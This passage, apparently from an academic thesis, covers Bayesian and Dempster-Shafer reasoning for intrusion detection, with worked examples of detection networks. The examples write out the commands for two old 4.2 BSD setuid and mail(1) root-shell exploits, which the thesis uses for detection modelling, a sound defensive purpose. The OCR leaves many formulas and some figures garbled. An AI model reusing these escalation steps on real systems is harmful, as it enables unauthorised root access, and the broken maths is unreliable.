The necessity factor is also called "negative likelihood ratio". A comparison of likelihood ratios S and N shows that from S > 1 it follows that N < 1, and vice versa;
furthermore we have S = 1 if and only if N = 1.
Sufficiency Factor and Necessity Factor notions can be used in the knowledge base
to give strength to belief in each hypothesis. This way, these factors are strengths in
which the likelihood of an event E (evidence), influences the belief in another event H
(hypothesis). The relationship can be defined as:
if E then H with strength Strength
where Strength is a pair consisting of the necessity and sufficiency factors respectively.
This can also be diagrammatically represented as:
E >- H
(N,S)
If we intend to investigate the hypothesis H, we collect evidence E to confirm or
deny the hypothesis. S tells how sufficient E is for H, and N tells how necessary E is
for H. So, if E is true, then the greater the S is, the more likely H is. But if E is false,
then the lower the N is, the less likely H is.
In the following, we recall some standard notions and terms for ease of understanding
the remaining of this section.
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For logical relations, the validity (truth or falsity) of a hypothesis,

H is completely determined by the validity of its definition by using Zadeh's fuzzy-set
formulae [151]. Therefore, if the validity of at least one of the defining assertions cannot
be determined, then the probability of H may remain unchanged. If this is undesirable,
then plausible relations m a y be used.

Plausible Relations For plausible relations, assertions are combined using the odd
likelihood form of Bayes' rule, with modifications [53]. Bayes' rule can only be used
where the evidence E (or ~ E ) is certain. In practice, E may be uncertain because either
E was declared by a user to be uncertain or E was deduced from another plausible
relation, using evidence E' (say), yielding P(E | E'). The problem of computing P(H \
E) becomes one of computing P(H

\ E'), which can be shown to be calculable (with

assumptions) [53], from
P(H | E') = P(H | E) x P(E | E') A P(H \~E) x [1 - P(E | E')}.

If E (~E) is known with certainty, this formula produces consistent results. Howev
if E' is irrelevant to E, then P(E \ E') - P(E), and the formula should produce a value
for P(H

| E') which agrees with the expert's estimate of the prior probability P(H).

This is unlikely, leading to the conclusion that P(H), P(E), P(H

| E) and P(H

\~E)

are not independent.
To solve this problem, we can use a piece-wise linear function of P(E
compute P(H
when P(E

\ E) for each rule, with a way-point to ensure that P(H

\ E') to

j E') =

P(H)

\ E') = P(E) supplied by the expert. This is shown in Figure 3.2 [53].

Converting to odds yields 0(H

\E'), and hence an effective likelihood ratio

L = 0(H\ E')/0(H)
can be computed for each rule. This ratio is dynamic, tending towards S as E is
supported, and towards N as E is refuted. If n rules determine H, each with effective
likelihood ratio Li, the conditional independence assumption allows posterior odds on H
to become
0(H

| E') = 0(H) x Lx x L2 • • • x Ln.

The following basic L e m m a (reproduced from [77]) explains the operation for the
combination of contributions of rules:
Lemma 3.1 [77, Lemma 8.1.7] Let Ex,..., En, H be such that Eu...,En are mutually independent given H and also given ~H; then
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n/uicx [Updated Probability of H]
P(HIE )

P(HIE)

P(H)
P(HI~E)
P(E)

1

[Current Probability of E]
Figure 3.2: Piece-wise linear function

1. 0(H \Ex&f- kEn) = (j[ X(Et, H)) • 6(H),

2.0(H\Exh...LEn) = f{^^
(assuming all the probabilities involved are nonzero).
Theorem 3.2 [53] Let P be a probability function on a sample space Q, and let O be

the corresponding odds as defined above. Let H, E C Q. Furthermore, let the sufficienc
factor (likelihood ratio) S be defined as above. Then the following property holds:

0(H\E) = Sx 0(H)

3.3.2

Belief Networks

The system can use Bayesian or other belief networks to combine anomaly measures.
Bayesian networks [152] allow the representation of causal dependencies between random
variables in graphical form and permit the calculation of the joint probability distribution
of the random variables by specifying only a small set of probabilities that relate to
only neighboring nodes. This set consists of the prior probabilities of all the root nodes
(nodes without parents) and the conditional probabilities of all the non-root nodes, given
all possible combinations of their direct predecessors.
Bayesian networks, with arcs representing causal dependence between the parent and
child, permit absorption of evidence when the values of some random variables become
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known. They provide a computational framework for determining the conditional values
of the remaining random variables, given this evidence.

3.3.3

A General Example

Consider the inference network in Figure 3.3:

PP.

Figure 3.3: Inference network for the general example.

PP's are prior probabilities for each piece of evidence.
If the system receives the definite piece of evidence A, using sufficiency ratio SA, then
since prior probability for B is PPB

the Odds for B will be:

PP
0dds

^ = T^FFs

and the posterior odds for B after receiving evidence A would be:

0dds(B | A) = SA x Odds(B)
This in turn, increases the odds on the next level in the inference network by a
of SB weighted by the degree to which B has increased from its prior probability. Then
the posterior probability for B will increase based on the value of SA-

n ± M A j

~

Odds(B j A)
lAOdds(B\A)

Propagating up the network, the odds increasing factor is:

IF(C) = 5 f l x
and posterior Odds for C is:

P(B\ A)-PP(B)
1 - PP(B)
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Odds(C | B) = IF(C) x

PPc
1-PPc

and the posterior probability for C is:
P(C | B) =

3.3.4

Odds(C 1 B)
1 + Odds(C | B)

Intrusion Detection Example

The network in Figure 3.4 represents the following scenario [155]:
ln <file> -<anystring>

'/.Creating a link to <file>

-<anystring>

'/.file is a user's setuid script
'/.with #!/bin/sh or #!/bin/csh
°/,in the first line.

This attack scenario exploits a securityflawwithin 4.2 BSD UNIX. In step one, the
attacker creates a link to <file>, where <file> refers to another user's setuid script
containing #! /bin/sh or # ! /bin/csh in the first line. Such scripts cause subshells to be
created during the execution of the script. The character "-" must be thefirstcharacter
in the linkfilename, followed by any string.
In step two, the attacker executes -<any string>. When thefirstcharacter of an
executablefile'sname is a "-", UNIX invokes the program interactively. Since <file>
contains #! /bin/sh or #! /bin/csh in itsfirstline, the attacker immediately receives an
interactive subshell running with the file owner's privileges.
Suppose the current audit record contains a record showing that the user has created a
file. It is a definite piece of evidence, which corresponds to Create node in the network in
Figure 3.4. Receiving this evidence will change the posterior probabilities of Type (Link)
and Type(Symb_Link) nodes.
The prior Probability of Type (Link) is 0.05. Converting it to Odds yields
0.05
Odds(Type)

0.0526

1 - 0.05

and posterior Odds is
Odds(Type \ Create) = 10 x 0.0526 = 0.526
and the posterior probability is
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0.05

Figure 3.4: Network representing intrusion scenario

P(Type I Create) = , ' „ = 0.345
v yF
y
'
1+0.526
Propagating up the network, Odds increasing factor would be
0.345 - 0.05

20 x

T^MT

=6'21

and posterior Odds of Owner (root) is
0.02
6.21 x

1 - 0.02

= 0.127

and posterior probability of Owner (root) will be
0127

=0.113

1+0.127
Again propagating up the network, Odds increasing factor would be
0.113-0.02
40 X

1-0.02

= 4.531

and posterior Odds of Not Public is
0.08

4.531 x 1 - 0.08 = 0.394
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then, posterior probability of Not Public is
0.394

And for the next node in the network, the odds increasing factor is
1A

10 x

0.283-0.08

nnnn

2 207

^ostr ='

where posterior Odds of Execute File would be
0.25
2.207 x - — — - = 0.736
1 - 0.25
and posterior probability of Execute File would be
0-736
= 0.424
1 + 0.736
Finally, for the last node in the network the Odds increasing factor is
0.424 - 0.25
= 23.2

100 x
1 - 0.25

therefore posterior Odds of Unauthorized Access would be
0-05
— 1 -0.05
and posterior probability of Unauthorized Access is
23.2 x

1.221

0.55

1 + 1.221
This example clearly shows how observing different evidence changes the prior probability of 0.05 of the system being under threat to the posterior probability of 0.55.

3.3.5 Another Intrusion Detection Example
The network in Figure 3.5 represents the following scenario (it was reported on 4.2 B S D
U N I X ) [155]:
cp /bin/csh /usr/spool/mail/root

'/, assumes no root mail file

chmod 4755 /usr/spool/mail/root

'/, make setuid file

touch x

'/, create an empty file

mail root < x

*/, mail root the empty file

/usr/spool/mail/root

'/, execute setuid-to-root shell
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OUIDJModified?
(YES)

OUID_Modified?
(NO)

Setuid_Modified?
(YES)

Setuid_Modified?
(NO)

Figure 3.5: Network representing the "mail" intrusion scenario

This attack scenario exploits a flaw in mail(l) utility, in which mail fails to reset the
setuid bit of thefileto which it appends a message and changes the owner. A s a result,
the attacker is able to trick mail into creating a setuid program that is owned by root
and publicly executable.
In step 1, the attacker creates a copy of csh(l) and names it after root's mailfile.For
this step to be successful, the attacker must wait until root has no unread mail, otherwise
the attacker will not be able to create the counterfeit mailfile.In step 2, the attacker
activates the setuid bit of the counterfeit mailfile.In steps 3 and 4, the attacker creates
and sends an e m p t y message to root via the mail utility. T h e security flaw arises when,
in step 4, mail fails to reset the setuid bit of /usr/spool/mail/root before it sets the
file's owner attribute to root. A s a result, in step 5, the attacker needs only to execute
root's mail file to gain access to a shell with root privilege (the appended contents of
message x will betaken as part of the symbol table of csh and will therefore not interfere
with this attack). W h a t follows is the same as the previous example.
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Using Bayesian Method in Statistical Analysis

As mentioned in Chapter 1, intrusion detection addresses two different issues: anomaly
detection and misuse detection. This section examines the use of Bayesian method in
anomaly detection (statistical analysis).
Let Mx, M2,..., Mn be n measures used to determine if an intrusion is occurring on
a system at any given moment. Each M , measures a different aspect of the system, such
as the amount of disk I/O activity, or the number of page faults in the system, or C P U
time consumed by the subject. Let each measure Mi have two values, 1 implying that
the measure is anomalous and 0 otherwise. Let / be the hypothesis that the system is
currently undergoing an intrusive attack. The reliability and sensitivity of each anomaly
measure Mi is determined by the numbers P(Mi = 1 | /) and P(Mi — 1 | - • / ) . The
combined belief in / given the values of each Mi, is given by Bayes' theorem as:
P(/|M„M„...,M,)

= f(M„Mi

M,|;)f(M|^»iMj)

This would require the joint probability distribution of the set of the measures con
ditioned on / and ->/. The number of joint probabilities required is exponential in the
number of metrics. To simplify calculation at the expense of accuracy, one might assume
that each measure M ; depends only on / and is conditionally independent of the other
measures Mj, j ^ i. That would yield
P(Ml,M2,...,Mn\I)

=

HUP(Mi\I)

and
P(Mx,M2,...,Mn

| -/) = HtxP(Mi

| -/)

which leads to
P(I\Mx,M2,...,Mn)
P^I \Mx,M2,...,Mn)"

=

P(I) HUP(Mj\I)
P(-./) nr = 1 P(M t | -./)

P(M)
That is, w e can determine the odds of an intrusion, O d d s ( M ) = — — — , given the
values of various anomaly measures, from the prior odds of the intrusion and the likelihood of each measure being anomalous when an intrusion is occurring, i.e., the terms
P(Mj | /)

P{Mi\-.I)m
To derive a more realistic estimate of P(I | M i , M2,..., Mn), however, we must take
the independence of the various measures M t into account. Figure 3.6 illustrates the
trivial Bayesian network model of an intrusion.
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Too many
Users
Too Many
C P U Intensive
Jobs

Too Many
Disk Intensive
Jobs

DISK I/O

Trashing

Fragmentation

CPU

N E T I/O

Newly Available
Program on the
Net

Figure 3.6: A trivial Bayesian network modeling intrusive activity.

3.3.7 Using Bayesian Method to Predict Misuse Intrusions
This method of predicting intrusions is similar to the one outlined above except that the
"evidence" is now a sequence of external events rather than values of anomaly measures.
For misuse intrusion detection determining the conditional probability
^(Intrusion | Event Pattern)
is of interest.
Applying Bayes' law as before to the above equation, yields
P(Intrusion)
^(Intrusion | Event Pattern) = P(Event Pattern | Intrusion)P(Event Pattern)

v

' '

Consider the campus network of a university as the domain within which the conditional probability of intrusion is to be predicted. A security expert associated with the
campus wide network might be able to quantify the prior probability of occurrence of an
intrusion on the campus system or P(Intrusion), based on his experience. Further, if the
intrusion reports from all of the campus systems are tabulated, one can determine for
each type of event sequence comprising an intrusion, its P(Event Pattern | Intrusion).
The relative frequency of occurrence of the event sequence in the entire intrusion set
gives this probability. Similarly, given a set of intrusion-free audit trails, one can determine by inspection and tabulation, the probability P(Event Pattern | --Intrusion).
Given the two conditional probabilities, one can easily determine the left hand side of
Equation 3.2 above from simple Bayesian arithmetic because the prior probability of an
event sequence is
P(EventSequence) = (P(ES | /) - P(ES

| -/)) • P(I) + P(ES

where ES and J stand for event sequence and intrusion, respectively.

| -./)

3.4. Evidential Reasoning (Dempster-Shafer Theory)

3.4

53

Evidential Reasoning (Dempster-Shafer Theory)

In the 1960s, A. Dempster laid the foundation for a new mathematical theory of uncertainty. In the 1970s, this theory was extended by G. Shafer to what is now known
as Dempster-Shafer Theory [46, 170]. This theory m a y be viewed as a generalization of
probability theory. Contrary to the subjective Bayesian method and the Certainty Factor
model [86], Dempster-Shafer theory has not been specially developed for reasoning with
uncertainty in expert systems. Only at the beginning of 1980s it became apparent that
the theory might be suitable for such a purpose. However the theory cannot be applied in
an expert system without modification. Moreover, the theory in its original form has an
exponential computational complexity. For rendering it useful in the context of expert
systems, Lucas and Van Der Gaag in [125] propose several modifications of the theory.

3.4.1 The Probability Assignment
As it was mentioned before, the Dempster-Shafer theory m a y be viewed as a generalization of probability theory. The development of the theory has been motivated by the
observation that probability theory is not able to distinguish between uncertainty and
ignorance owing to incompleteness of information. In probability theory probabilities
have to be associated with individual atomic hypotheses. Only if these probabilities are
known, the computation of other probabilities of interest are possible. In the DempsterShafer theory however, it is possible to associate measures of uncertainty with sets of
hypotheses, interpreted as disjoints, instead of with the individual hypotheses only. This
nevertheless makes it possible to make statements concerning the uncertainty of other
sets of hypotheses. Note that in this way, the theory is able to distinguish between
uncertainty and ignorance.
The strategy followed in the Dempster-Shafer theory for dealing with uncertainty
roughly amounts to starting with an initial set of hypotheses. Then for each piece of
evidence associating a measure of uncertainty with certain subsets of the original set
of hypotheses. This continues until measures of uncertainty m a y be associated with all
possible subsets on account of the combined evidence. The initial set of all hypotheses in
the problem domain is called the frame of discernment. In such a frame of discernment
the individual hypotheses are assumed to be disjoint. The distribution of a unit of belief
over a frame of discernment is called a mass distribution [122]. A mass distribution,
m © , is a mapping irom subsets of a frame of discernment, 0, into the unit interval. The
impact of a piece of evidence (body of evidence) on the confidence or belief in certain
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subsets of a given frame of discernment is described by means of a function which is
defined in the following definition [125].
Definition 3.3 Let 0 be a frame of discernment. If with each subset x C 0 a number
m©(a:) is associated such that:

(1) mQ(x) > 0
(2) me(0) = 0

(3) £ mQ(x) = 1
xCQ

then m @ is called a basic probability assignment (or mass distribution) on 0. For each
subset x C 0 , the number ra©(x) is called the basic probability number of x.

•

There are two other notions which should be defined.
Definition 3.4 Let 0 be a frame of discernment and let m © be a mass distribution on
0. A set x C 0 is called a focal element in m © if m&(x) > 0. The core of m © , denoted
by «(m), is the set of all focal elements of m © .

O

Notice the similarity between a basic probability assignment (mass distribution) and
a probability function. A probability function associates each element in 0 with a number
from the interval [0,1] such that the sum of these numbers equal 1. Figure 3.7 shows the
lattice of all possible subsets for a typical set 0. A mass distribution (basic probability)
associates a number in the interval [0,1] with each element in 2® such that once more
the sum of the numbers equal 1.
m© :

2®

•—»

[0,1]

A probability number me(x) expresses the confidence or belief assigned to precisely
the set x. It does not express any belief in subset of x. It will be evident, however, that
the total confidence in x is not dependent on the confidence assigned to subsets of x. For
a given basic probability assignment, [125] defines a function describing the cumulative
belief in a set of hypotheses.
Definition 3.5 Let 0 be a frame of discernment, and let m © be a mass distribution

on 0. Then the belief function (or credibility function) corresponding with m © is the
function Bel:2® •—> [0,1] defined by
Bel(ar) = $^m©(t/)
yCx

for each x C 0 ,

n
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(A.B.CD)

(A.B.C)

(A,C)

(A.B.D)

(B,C) (A,B)

(A.C.D)

(B.D) (A.D) (A.C)

|B.C,D)

(CD)

(B.D) (B.C)

Figure 3.7: Lattice of all possible subsets of the universe 0 = {A, B, C, D}.
Several properties of this belief function can easily be proved:
(1) Bel(O) = 1 since ]jT m@(y) = 1.
yC®

(2) For each x C 0 containing exactly one element, Bel(x) = m&(x).
(3) For each x C 0, we have Bel(x)-f-Bel(x) < 1, since

Bel(O) = Bel(z U x) = Bel(x) + Bel(z) + J2 rn&(y) = 1.
xHy

^ 0

Furthermore, the inequality Bel(x)-f-Bel(y) <Bel(x U y) holds for each x,y G 0.
Some special belief functions follow. Recall that a basic probability assignment (mass
distribution) describing lack of evidence had the following form:
1 if x = 0
m@(x)
0 otherwise.
The belief function corresponding to such an assignment has been given a special
name [125].
Definition 3.6 Let 0 be a frame of discernment, and let m © be a mass distribution
such that fc(me) = {0}. The belief function corresponding to m © is called a vacuous

•

belief function

The following definition from [125] concerns functions corresponding with mass dis
tribution of the form:
m@(x) = <

1 - Ci

if x = 0

Ci

if x = A

0

otherwise
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where A C 0, and 0 < Ci < 1 is a constant.
Definition 3.7 Let 0 be a frame of discernment, and let m© be a mass distribution
such that « ( m e ) = { A , 0 } for a certain A C 0. The belief function corresponding to
m © is called a simple support function.

•

A belief function provides a lower bound for each set x to the 'actual' belief in
It is also possible that belief has been assigned to a set w such that x C w. Therefore,
in addition to the belief function the Dempster-Shafer theory defines another function
corresponding with a basic probability assignment (mass distribution).
Definition 3.8 Let 0 be a frame of discernment, and let m© be a mass distribution
0. Then the plausibility function corresponding to m © is the function PI: 2® i—> [0,1]
defined by
Pl(ar) =

£

m@(w)

for each iC0, •
A function value Pl(x) indicates the total confidence not assigned to x, so Pl(x)
provides an upperbound to the 'real' confidence in x. It can be shown that, for a given
basic probability assignment m © , the property
Pl(x) = 1 - Bel(x)

for each value x C 0, holds for the belief function Bel and the plausibility func
corresponding to m @ . The difference Pl(x)—Bel(x') indicates the confidence in the sets
w for which x C w and therefore expresses the uncertainty with respect to x.

Definition 3.9 Let 0 be a frame of discernment and let m© be a mass distribution o
0. Let Bel be the belief function corresponding to m © , and let PI be the plausibility
function corresponding to ra@. For each x C 0, the closed interval [Bel(x),Pl(x)] is
called the belief interval of x.

E

The lower bound of a belief interval indicates the degree to which the evidence su
ports the hypothesis, while the upper bound indicates the degree to which the evidence
fails to refute the hypothesis, i.e., the degree to which it remains plausible.
Example 3.1 Let 0 be a frame of discernment and let x C 0. Now, consider a basic
probability m © on 0 and its corresponding functions Bel and PL
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• If [Bel(x),Pl(x)]=[0,l], then no information concerning x is available.
• If [Bel(x),Pl(x)]—[0,0], then x has been completely denied by m©.
• If [Bel(x),Pl(x)]=[0,0.8], then there is some evidence against x.
• If [Bel(x),Pl(x)]=[l,l], then x has been completely confirmed by m©.
• If [Bel(x),Pl(x)]=[0.3,l], then there is some evidence in favor of the hypothesis x.
• If [Bel(x),Pl(x)]=[0.15,0.75], then there is some evidence in favor as well as against
x.
•
If Pl(x) —Bel(x) = 0 for each x C 0, then we are back to conventional probability
theory. In such a case, the belief function is called a Bayesian belief function. This
notion is defined more formally in the following definition from [125].
Definition 3.10 Let 0 be a frame of discernment and let m © be a mass distribution
such that the core ofra©consists only of singleton sets. The belief function corresponding
to m © is then called a Bayesian belief function.

E

Dempster's rule of combination
The Dempster-Shafer theory provides a function for computing from two pieces of evidence and their associated basic probability assignment a new basic probability assignment describing the combined influence of these pieces of evidence. This function is
known as Dempster's rule of combination. The more formally definition is as follows

[125].
Definition 3.11 Let 0 be a frame of discernment, and let m 0 and m% be basic probability assignments on 0. Then m © © m 0 is a function ml@®m@

: 2® i—> [0,1] such

that
(1) m 0 © m | ( 0 ) = 0, and

Y, m®(y) • m@(z)

Beli©Bel2 is the function Beli©Bel2 : 2® H—• [0,1] defined by
Beli©Bel2(x) = £ m 0 © m © ( y ) .

(3.3)

yCx

D
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Evidential Reasoning

T h e goal of evidential reasoning [122, 123, 164] is to assess the effect of all available
pieces of evidence upon a hypothesis, by making use of domain-specific knowledge. The
first step in applying evidential reasoning to a given problem is to delimit a propositional
space of possible situations. Within the theory of belief functions, this propositional space
is called the frame of discernment. A frame of discernment delimits a set of possible
situations, exactly one of which is true at any one time. Once a frame of discernment has
been established, propositional statements can be represented by subsets of elements from
the frame corresponding to those situations for which the statements are true. Bodies
of evidence are expressed as probabilistic opinions about the partial truth or falsity of
propositional statements whose granularity is appropriate to the variable evidence.
Evidential reasoning provides a number of formal operations for assigning evidence
[122], including:
1. Fusion — to determine a consensus from several bodies of evidence obtained
from independent sources. Fusion is accomplished through Dempster's rule of
combination (Eq. 3.3):

m%(Ah) = -J- E rnUA^mKA,), (3.4)
1

K

AiHAj=Ah

%

k = E mKAAmKAj).
Ai(~\Aj=(j>

Dempster's Rule is both commutative and associative (meaning evidence can be
fused in any order) and has the effect of focusing belief on those propositions that
are held in c o m m o n .
2. Translation — to determine the impact of a body of evidence upon elements of a
related frame of discernment. T h e translation of a B O E from frame QA to frame
0

B

using the compatibility relation QA,B is defined by:

meB{Bj)= £ m&A(Ak), (3.5)
CA^B(M)

— Pj

Ak C QA, Bj C eB
where CA^B(AIC) - {bj | (ai,bj) € 0A,B,G» £ Ak}-
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3. Projection — to determine the impact of a body of evidence at some future (or
past) point in time. The projection operation is defined exactly as translation,
where the frames are taken to be one time-unit apart.

4. Discounting —to adjust a body of evidence to account for the credibility of its
source. Discounting is defined as

discounted I A \ _ _ I

m

G

' m®\Aj),

Aj

^ 0

1 — Q + a • m © ( 0 ) , otherwise

where a is the assessed credibility of the original B O E (0 < a < 1).

Independent opinions are expressed by multiple bodies of evidence. Dependent opinions can be represented either as a single body of evidence, or as a network structure
that shows the inter-relationships of several BOEs. The evidential reasoning approach
focuses on a body of evidence, which describes a meaningful collection of interrelated
beliefs, as the primitive representation. In contrast, all other such technologies focus on
individual propositions.

3.4.3 Analysis Using an Example
To illustrate the evidential reasoning method described above in a model-based intrusion
detection system, we use the following example.
A user successfully logs in from a remote host after trying several bad passwords and usernames. The user enters several wrong command names and
arguments and tries to look at some directories and files for which permissions
for him is denied. The user also several times uses commands such as 'finger'
tofindout about other system users and activities. The user also copies the
/bin/csh file into /usr/spool/mail/root where the root's mail directory
resides, and makes it a setuidfileby chmod 4755 /usr/spool/mail/root
command. After a few minutes, the user leaves. W h o was this? Could it be
an intruder or just an inexperienced user who was experimenting with the
system?
In evidential reasoning the first step is to construct the sets of possibilities
of discernment) for each unknown. For example, the user could either be an intruder or
not; these possibilities can be represented in the Intruder? frame:

3.4. Evidential Reasoning (Dempster-Shafer Theory)

60

{ Yes, No}

Other frames could also be constructed; Location will be included for user's loca
containing the possibilities:

{Local, Remote}.

Two types of location for a user is distinguished - local (i.e., physically at the
board) and remote. Because the majority of intruders do not have direct physical access
to the locally connected terminals, a local keyboard is considered to indicate normal use
and not an intruder. Most intrusions originate from remote internet sites. However, because an intruder can jump from host to host, intrusive behavior is also likely to appear
originating from local hosts. Thus, activity originating from any location other than the
local keyboard is considered equally indicative of intrusive behavior, so only the single
category 'remote' will be used for this. For remote user, it can not be distinguished
whether the user is an intruder based on this dimension of behavior alone.
A n intruder is expected to be somewhat paranoid, therefore a frame, Fear, is included
to capture paranoia level
{Paranoid, Calm}.

A paranoid intruder (one who is afraid of being caught) will probably have very s
sessions (eg., lasting under two minutes), because the longer the session the greater the
risk of discovery. A paranoid intruder will also commonly check to see who is logged in
and what they are doing. Thus, for example, in Unix an ordinate number of 'who', 'ps',
and 'finger' commands can be expected to indicate a paranoid intruder. User sessions
can be characterized as having a high degree of this sort of activity if two or more such
commands are used. Therefore, short sessions and two or more "surveillance" commands
are considered to be strong indicators of fear.
A n intruder m a y also be unfamiliar with the system, so another frame, Familiarity,
will be defined to contain:
{ Familiar, Unfamiliar}.

A person who is Unfamiliar with the computer system under attack is likely to have
a relatively large number of invalid commands, resulting from attempts to execute commands that are not recognized by the system. Such a person is also likely to have a
relatively large number of errors resulting from invalid command usage, for example,
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too few arguments or invalid parameters. But this alone can not be a good measure to
condemn a user to be an intruder, since the user might be inexperienced. This frame
should be looked at in conjunction with other frames. A relatively large number of file
permission errors, resulting from attempting to read, write, or executefilesor directories
when permission is denied, is also indicative of a person unfamiliar with the computer
system under attack. Therefore, relatively large numbers of errors of these types are
considered to be strong indicators of unfamiliarity with the system. Conversely, low
error rates for all of these categories of error strongly suggest a normal, nonintrusive
user.
Another frame can be constructed for the actions which raise the suspicion level, such
as copying a file from /bin directory or trying to access somebody else's mail file, etc.
These actions can be represented in the Actions frame.
{Malicious, Normal}

Authentication errors result from the use of an invalid username or password duri
login. A high rate of authentication errors (greater than three failed login attempts for
a given username in a certain time period) is considered to be strongly suggestive of an
intrusion attempt.
Once the frames are defined, the next step is to construct the compatibility relations
that define the domain-specific relationships between the frames. A connection between
two propositions Ax and Bx indicates that they may co-occur (in other words, (Ax, Bx) G
0A,B).
Figure 3.8 shows the frames and compatibility relations used in determining whether
the user is an intruder.
Location

Fear
Intruder?
Actions

System Familiarity

Figure 3.8: Frames and compatibility relations.

Once the frames and compatibility relations have been established, the evidence c
be analyzed. The goal of the analysis is to establish a line of reasoning from the evidence
to determine belief in a hypothesis, in this case that the user is an intruder.
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The first step is to assess each piece of evidence relative to an appropriate frame
of discernment. Each piece of evidence is represented as a mass distribution, which
distributes a unit of belief over subsets of the frame. For example, the fact that the user
logged in from a remote host is pertinent to the Location frame, and 1.0 is attributed
to Remote to indicate the complete certainty on this point.
The fact that the user had a high number of authentication errors leads to the belief
that the user m a y be an intruder. Based on this, a likelihood of 0.75 is assigned to the
possibility that the user is an intruder.
The high number of command usage andfilepermission errors gives information
about Familiarity. Based on the number and types of errors, a belief of 0.7 is assigned
to the possibility, Unfamiliar, the remaining 0.3 is assigned to Familiar.
The user tried some commands that at least two of them can be interpreted as his
malicious intentions that might give information about Actions. Based on this belief, a
likelihood of 0.8 is given to the possibility that user's actions have been malicious.
The last piece of evidence, that the user used several "surveillance" commands and
had a short session, gives information about Fear. It might be assessed as giving 0.75
support that the user is Paranoid and 0.25 that the user is Calm and this is usual behavior
for that user (perhaps the user is a system administrator).

Figure 3.9: Frames and compatibility relations.
In this example, beliefs about paranoia levels, system familiarity, actions and, in the
case of authentication errors, directly from interpretations over various types of audit data
are drawn. These processes can also be represented directly in evidential reasoning, at
the cost of some additional complexity. In practice, reasoning processes will be required
to include more extensive analysis of this sort.
Evidence from these sources will provide the inputs to the analysis. M a n y of these
determinations are judgments that may not be of equal validity. In order to be able
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to weight them differently, a means for discounting the impact of the evidence through
the discounting operation will be provided. This will allow the change in their relative
weights.
Thefinalstep is to construct the actual analysis of the evidence as shown in Figure
3.9 to determine its impact upon the question at hand. In this case the question of
whether the user is an intruder can be answered by an assessment of belief over elements
in the Intruder? frame. Evidential operations can be used to derive a body of evidence
providing beliefs about whether the user is an intruder.
In the analysis in Figure 3.9, all sources except Location source are discounted.
The Authorization Errors source provides information directly about the likelihood of
an intruder, but the others must all be translated to the Intruder?

frame. After

translation, these independent B O E s are represented relative to a c o m m o n frame and
can be combined using the fusion operation (i.e., Dempster's Rule). Fusing the mass
distributions yields a mass distribution relative to the Intruder? frame, from which
conclusions as to whether the user is an intruder can be drawn.
In this case, to calculate mintruderk.Location(x), which is the translation of Location
frame into Intruder? frame, the following table can be constructed:

Intruder -•Intruder
0.75

0.25

0

0

0.75

0.25

Local
0
Remote
1
which yields

irijntruder&!.Location\.r) -• *

0.75

(x = Intruder)

0.25

(x = ^Intruder)

In this calculation, there has been no discounting or a = 1.
Calculating for the remainder of the graph in Figure 3.9 the conclusion is
0.89

x = { Yes}

m Intruder? (x) = *

0.14 x = {No}

Assessing the support and plausibility for the answers Yes and No to the question
of whether the user is an intruder, the associated evidential intervals for the atomic
propositions in this mass distribution are:
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[Bel({FeS}),Pl({ye5})]

=

[0.89,0.88]

[Bel({Ao}), Pl({Ao})]

=

[0.12,0.11]

The hypothesis { Yes} is clearly the most likely and it can be concluded that the user is
actually an intruder.
For a proof of why the interval [Bel(x), P\(x)] is an appropriate measure for strongly
supporting a particular hypothesis (x), see [183].

3.5 Advantages and Disadvantages
The advantages of Bayesian and Dempster-Shafer approaches for intrusion detection
1. They are based on a mathematically sound theory of reasoning in the presence
of uncertainty. This is in contrast to expert system approaches of dealing with
uncertainty where retraction of intermediate conclusions is not easy, as evidence
to the contrary accumulates. Expert systems also have difficulty in explaining away
conclusions that are contradicted by later asserted facts. These problems can be
avoided in the evidential reasoning approach (Dempster-Shafer Theory).

2. They can potentially reduce substantial amounts of processing required per audi
record by monitoring for coarser-grained events in the passive m o d e and then
actively monitoring for finer-grained events as coarser events are detected.

3. The Translator (see Figure 3.1) provides independence of representation from th
underlying audit trail representation.
The disadvantages are:
1. These approaches place an additional burden on the expert creating the intrusion
detection model to assign meaningful and accurate evidence numbers to various
parts of the graph representing the model.
2. Since there is no implementation in this research, the runtime efficiency of these
two approaches has not been demonstrated. It can not be clear from the model
description how behaviors can be compiled efficiently in the translator and the
effect this will have on the runtime behavior of the detector.
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Summary

This chapter described how methods of dealing with uncertainty, namely Probabilist
and Evidential Reasoning, allow the system to detect intrusions more effectively. Probabilistic and Evidential Reasoning provide a natural representation of approximate and
uncertain information. Evidential reasoning also provides a formal basis for the key
operations of fusion and translation needed to integrate multiple sources of information.
The use of Expert System technology allows certain intrusion scenarios to be specified
much more easily and naturally than is the case of using other technologies. However,
expert system technology provides no support for developing models of intrusive behavior
and encourages the development of ad hoc rules.

Chapter 4
A Case-Based Approach to Intrusion
Detection

4.1

Introduction

A major weakness in current rule-based intrusion detection systems is their direct dependence on audit recordfields.In today's systems, rule-bases are represented in terms
of the expected audit trails of intrusions, and these tools essentially match patterns and
bind rules in their knowledge-base to audit records. Unfortunately, there is very little
flexibility in this one-to-one (rule-to-audit record) representation. For a given intrusion scenario there m a y be several potential audit record sequences which will produce
slight variations of the s a m e intrusion. Therefore, even if a scenario is represented in
the rule-base, a minor variation to the scenario can slip by unnoticed. O n e solution
to improving the flexibility of the system's ability to identify intrusion scenarios is to
use higher-level representations in a case-based reasoning system ( C B R ) [107, 92] (i.e.,
scenario representation independent from audit record sequences).
Another limitation to current intrusion detection expert systems is their inability
to foresee an impending compromise and preempt or limit the damage before it occurs.
Intrusion detection systems should be designed with prediction in mind. At best, most of
the current intrusion detection systems report compromises after they are completed or
take measures to terminate an intrusive process once the damage has begun. Most of the
current approaches are designed with little, if any, reasoning capabilities allowing them
to take preemptive actions before a compromised state is reached. Intrusion detection
systems should be able to anticipate an impending compromise with some measure of
confidence and either forewarn the system administrator or take steps to preempt an
intrusion before it achieves its compromise.
Last but not least, current intrusion detection expert systems are neither easily created nor easily updated. In general, expert rule-bases tend to be non-intuitive, requiring

66

4.1.

Introduction

67

the skills of experienced knowledge engineers to update them; rule-based intrusion detection systems are no exception. These systems are created by interviewing system
administrators and security analysts to collect a suite of known intrusion scenarios and
key events that are threats to the security of the target system. The knowledge engineer then identifies the audit records that correspond to the scenario or key event, and
constructs the rules to represent the intrusion based on the expected audit records. The
development of the rules are ad hoc and provide little chance, if any, for them to be updated on-site, as the target system's local administrators seefit.Procedures that allow
system administrators and security analysts to develop and incorporate intrusion rules
into the rule-base locally should be provided. Doing so will result in more effective rulebase management allowing a site-specific policy and new intrusions to be incorporated
into the system in a timely manner.
This chapter describes an approach to intrusion detection that addresses the weaknesses found in current intrusion detection systems. The aim of this chapter is to design
